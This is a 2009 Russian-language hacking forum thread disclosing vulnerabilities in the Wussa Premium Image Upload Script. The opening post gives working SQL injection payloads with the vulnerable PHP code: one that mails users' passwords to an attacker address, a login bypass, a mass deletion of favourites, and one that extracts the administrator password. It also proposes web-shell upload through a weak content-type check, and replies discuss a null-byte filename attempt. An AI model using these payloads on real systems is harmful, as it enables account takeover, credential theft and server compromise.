Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
Wussa Premium Image Upload Script |

26.03.2009, 13:29
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Wussa Premium Image Upload Script
Wussa Premium Image Upload Script
Вервия: 2.0
Офф сайт: http://wussa.com/
Скачать: http://allskripts.ru/other_scripts/hosting/268-wussa-premium-image-upload-script.html
Зависимость для всех скуль: magic_quotes = off
SQL-INJ
Уязвимый скрипт: forgot.php
POST Запрос: username=' UNION SELECT id,username,password,userpass,' asdasd@asdasd.ru',access from members -- -
Пароль придет на указанный email
Уязвимый кусок кода:
PHP код:
if (isset($_POST["forgot"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$email = htmlspecialchars(trim($_POST["email"]));
if (($username != "") || ($email != ""))
{
if ($username != "")
$q = "SELECT * FROM `members` WHERE username = '$username'";
else
$q = "SELECT * FROM `members` WHERE email = '$email'";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
echo "Sorry ! No account with the specified username or email exists";
showForm();
}
else {
$r = mysql_fetch_array($result_set);
$email1 = $r['email'];
$username = $r['username'];
$password = $r['password'];
$userpass = $r['userpass'];
$to = $email1;
$subject = "$webtitle - Password Recovery";
$body = "Hello $username, \n\nYou requested for your $webtitle account password recovery.\nYour registration information is shown below:\n\nUser: $username\nPass: $password\nUser Pass: $userpass \n\nThanks!\n{$website}";
SQL-INJ обход авторизации
Уязвимый скрипт: login.php
Запрос: UserName = ' OR 1=1) -- -, пароль любой
Уязвимый кусок кода:
PHP код:
if (isset($_POST["username"])) {
$username = htmlspecialchars(trim($_POST["username"]));
$password = htmlspecialchars(trim($_POST["password"]));
echo "<br />";
if (($username != "") && ($password != ""))
{
$q = "SELECT username FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
echo "Sorry ! The username does not exist, or maybe you have specified an incorrect password.";
showForm();
}
else {
// session.inc.php
$username = $_SESSION["imagehost-user"];
$password = $_SESSION["imagehost-pass"];
$q = "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
if(!($result_set = mysql_query($q))) die(mysql_error());
$number = mysql_num_rows($result_set);
if (!$number) {
session_destroy();
$session = false;
}
else {
SQL-INJ Удаление любых картинок из избранного
Уязвимый скрипт: myfavourites.php
Запрос: myfavourites.php?act=delete&id=')+OR+1=1+--+
Уязвимый кусок кода:
PHP код:
if ($session == true)
{
if (isset($_GET["act"])) {
$act = $_GET["act"];
if (isset($_GET["id"]))
$id = trim($_GET["id"]);
else
die();
//DELETE AN IMAGE FROM FAVOURITES
if ($act == "delete") {
mysql_query("DELETE FROM `favourites` WHERE (id = '$id') AND (userid = '$userid')");
SQL-INJ Получение пароля администратора
Уязвимый скрипт: mygalleries.php
POST Запрос: changename=1&id= 6a416dac9ffe8dd948b21e9d67637189&name=',name=(select password from settings limit 0,1) where id=' 6a416dac9ffe8dd948b21e9d67637189' -- -
Где хэшеподобная хрень - айди сушествующей галлереи
Уязвимый кусок кода:
PHP код:
if (isset($_POST["changename"])) {
$show = false;
$id = $_POST["id"];
$name = $_POST["name"];
if ($name != "") {
if ($id != "") {
if(mysql_query("UPDATE `galleries` SET name='$name' WHERE (id='$id') AND (userid='$userid')")) {
Думаю хватит, скулей там еще полно, все однотипные ..
PS: process.php
PHP код:
if (( ($_FILES[$name]["type"] == "image/gif")
|| ($_FILES[$name]["type"] == "image/jpeg")
|| ($_FILES[$name]["type"] == "image/pjpeg")
|| ($_FILES[$name]["type"] == "image/x-png")
|| ($_FILES[$name]["type"] == "image/bmp")
|| ($_FILES[$name]["type"] == "image/png")))
{
$size = intval(($_FILES[$name]["size"] / 1024) / 1024);
if ($session == true)
$limit = $maxsizemember;
else
$limit = $maxsizeguest;
if ($size > $limit)
die ("Sorry ! The size of the image exceeds the $limit Mb limit.");
if ($_FILES[$name]["error"] > 0) {
die("Error: " . $_FILES[$name]["error"]);
}
else {
$n = $_FILES[$name]["name"];
$rndName = md5($n . date("d-m-y") . time()) . "." . findExtension($n);
$uploadPath = "pictures/" . $rndName;
$tempPath = $_FILES[$name]["tmp_name"];
move_uploaded_file($tempPath, $uploadPath);
}
}
else
die("Sorry ! \"{$_FILES[$name]["name"]}\" is an invalid image.");
Файл не проверяет ресширение файлов, возможно можно залить шелл, правильно сформировав HTTP пакет, но мне лень было это проверять  Файлы заливаются в pictures
|
|
|

27.03.2009, 18:42
|
|
Постоянный
Регистрация: 26.12.2007
Сообщений: 353
Провел на форуме: 905389
Репутация:
332
|
|
Неполучится....
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg, libjpeg: recoverable error: Corrupt JPEG data: 322 extraneous bytes before marker 0x20 in /home/upntag/public_html/process.php on line 108
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: gd-jpeg: JPEG library reports unrecoverable error: in /home/upntag/public_html/process.php on line 108
Warning: imagecreatefromjpeg() [function.imagecreatefromjpeg]: 'pictures/26c901ba2cd06e47ac94dd326015b06b.jpg' is not a valid JPEG file in /home/upntag/public_html/process.php on line 108
Warning: imagesx(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 192
Warning: imagesy(): supplied argument is not a valid Image resource in /home/upntag/public_html/process.php on line 193
I am sorry but your Image "Изображение 033.php%00.jpg" is either too small or too large. Images must be atleast 150px but not larger then 4,000px
p.s. но судя по коду можно как все варианты опробую отпишусь....
Последний раз редактировалось KIR@PRO; 27.03.2009 в 18:58..
|
|
|

29.03.2009, 12:27
|
|
Members of Antichat - Level 5
Регистрация: 01.04.2007
Сообщений: 1,268
Провел на форуме: 10046345
Репутация:
4589
|
|
Я написал, что можно залить шелл. Слово "возможно" в фразе "возможно можно" стоит только потому, что мне лень было проверять. Истинное Мнение Хер Оспоришь.
Вначале файл заливается и только потом вызываются функции для работы с изображениями, но на них уже пофиг, главное залить файл.
Последний раз редактировалось BlackSun; 29.03.2009 в 12:32..
|
|
|
|
 |
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|